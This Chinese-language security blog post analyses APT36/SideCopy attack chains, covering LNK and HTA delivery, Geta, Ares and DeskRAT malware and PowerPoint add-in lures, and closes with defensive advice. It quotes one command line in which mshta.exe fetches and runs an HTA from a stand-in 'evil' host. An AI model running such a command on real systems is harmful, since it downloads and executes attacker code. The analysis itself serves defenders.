大家好,做 IT 这行久了,有时候看到一些高级持续性威胁(APT)组织的攻击手法,不得不感慨一句:“不怕黑客懂技术,就怕黑客有耐心。”
今天咱们要扒的这个主角,是长期活跃在南亚地区的 APT36 (又名 Transparent Tribe) 以及它的“分舵”——SideCopy。这帮人最近不仅搞起了 Windows 和 Linux 的跨平台“双杀”,还把我们平时最容易忽略的 PPT 插件(Add-In) 玩成了大杀器。
你以为防火墙挡住了 EXE 就万事大吉了?对方反手就是一个 PPT 插件扔过来,直接接管你的系统。
今天这篇文章,咱们不聊虚的新闻背景,直接上硬菜。从代码和攻击链的角度,深度拆解他们是如何利用 Geta RAT、Ares RAT 和 DeskRAT 编织这张天罗地网的。
01 从 LNK 到“无文件”攻击
这次攻击针对的是印度国防和政府部门,但技术无国界,这套连招放在任何企业内网都够喝一壶的。
在 Windows 战场,攻击者非常狡猾。他们没有直接发 EXE,而是利用了经典的 “Living off the Land” (利用系统原生工具) 策略。
攻击链路复盘:
- 入口: 用户收到钓鱼邮件,里面有个伪装成文档的 LNK 快捷方式。
- 触发: 一旦点击,LNK 并没有启动 Word,而是悄悄调用了系统自带的
mshta.exe。
mshta.exe http://compromised-domain.com/evil.hta
这里有个细节:他们用来托管恶意 HTA 文件的域名,大多是被攻陷的合法网站。这就导致很多基于域名的威胁情报(TI) feed 根本拦不住。
HTA 里的玄机:
这个 HTA 文件本质上是 HTML + 脚本。它在内存中执行 JavaScript,解密出一个 DLL Payload。为了不让用户起疑,它甚至会释放一个“诱饵 PDF”文件并在屏幕上打开。当你津津有味地看 PDF 时,后台的 Geta RAT 已经连上 C2 服务器了。
技术难点:这种攻击最恶心的地方在于内存驻留。很多操作都在内存中完成,落地文件极少,极其考验 EDR(端点检测与响应)的行为分析能力。
02 Geta RAT 的“自适应”生存法则
Geta RAT 是这次活动的主角之一。但这玩意儿最让我觉得“骚”的不是它的功能,而是它的环境感知能力。
在真正干坏事之前,它会先做一个“全身检查”:
- 根据扫描结果,动态调整自己的持久化(Persistence)策略。
也就是说,它会看人下菜碟。如果你装了卡巴斯基,它可能用 A 方案;如果你是在裸奔,它就直接用 B 方案。
功能上,它也是个“瑞士军刀”:
- 剪贴板劫持: 它可以实时监控你的剪贴板。如果你复制了一串加密货币地址或者服务器密码,它能瞬间替换成攻击者的。
- USB 数据收割: 插在你电脑上的 U 盘,里面的数据也会被它悄悄打包带走。
03 Go + Python 混合双打
现在的企业环境,核心业务往往跑在 Linux 上。APT36 显然也懂这个道理,于是他们掏出了针对 Linux 的 Ares RAT。
这一部分的架构设计非常有意思,采用的是 Go Loader + Python Payload 的模式。
为什么这么设计?
作为一名写代码的,我不得不承认这招很高明:
- Go 语言打头阵: 攻击者投递的初始文件是一个 Go 二进制程序。Go 编译出来的文件体积大、去除了符号表,反编译难度大,而且很多针对 C/C++ 的特征码检测对 Go 无效。
- Shell 脚本做中转: Go 程序运行后,下载并执行一个 Shell 脚本。
- Python 才是真身: Shell 脚本最终拉起 Python 编写的 Ares RAT。
这就相当于用一个“装甲车”(Go)把“特种兵”(Python)送进城,进城之后,特种兵再出来干细活。Ares RAT 上线后,攻击者就可以在你的 Linux 服务器上随意执行 Python 脚本,甚至直接当作跳板机。
04 DeskRAT 与 PPT 插件
最后,咱们聊聊标题里提到的 DeskRAT。这是 SideCopy 组织的一个新宠,用 Golang 编写。
它的传播载体非常特别:PowerPoint Add-In (PPAM) 文件。
在日常办公中,我们对 `.exe` 甚至 `.docm` (带宏的文档) 都有了警惕心,但 `.ppam` 这个后缀,很多人可能连见都没见过。
这实际上是一个 PowerPoint 插件。当你以为只是打开了一个 PPT 辅助工具时,嵌入在里面的宏代码会立即执行。它不需要你点什么“启用内容”,往往在加载瞬间就完成了出站连接,从远程服务器拉取 DeskRAT。
Aryaka 的安全专家评价道:“通过扩展跨平台覆盖范围、依赖内存驻留技术以及尝试新的交付载体,这个生态系统继续在噪音基线之下运作。”
翻译成人话就是:动静小,藏得深,防不胜防。
05 工程师的防御思考
看完这波分析,咱们做技术的不能光看热闹。我有几点防御心得,分享给各位兄弟:
1. 严管“不起眼”的文件后缀:除了 exe/bat/ps1,必须在邮件网关和终端策略里,对 .lnk, .hta, .ppam 这类文件进行严加管控。PPT 插件真的不需要那么多!
2. 监控原生工具的“出格”行为:mshta.exe 访问外网?powershell.exe 执行了混淆的长命令?这些都是高危信号。SIEM 规则里一定要有针对 LOLBins (Living off the Land Binaries) 的监控。
3. Linux 不是法外之地:别以为用了 Linux 就没有病毒。随着 Go 和 Rust 的流行,跨平台恶意软件只会越来越多。服务器端的行为审计(如 auditd)必须开起来。
最后啰嗦两句网络安全本质上就是一场不对称的战争。攻击者在不断精进他们的“军火库”,从 C++ 到 Go,从单一平台到全平台覆盖。作为防守方,我们唯有保持对技术的敏感,深入理解每一行恶意代码背后的逻辑,才能守住最后一道防线。
👋 兄弟们,你们在日常运维中遇到过 Go 语言编写的恶意样本吗?检测难度如何?欢迎在评论区留言交流!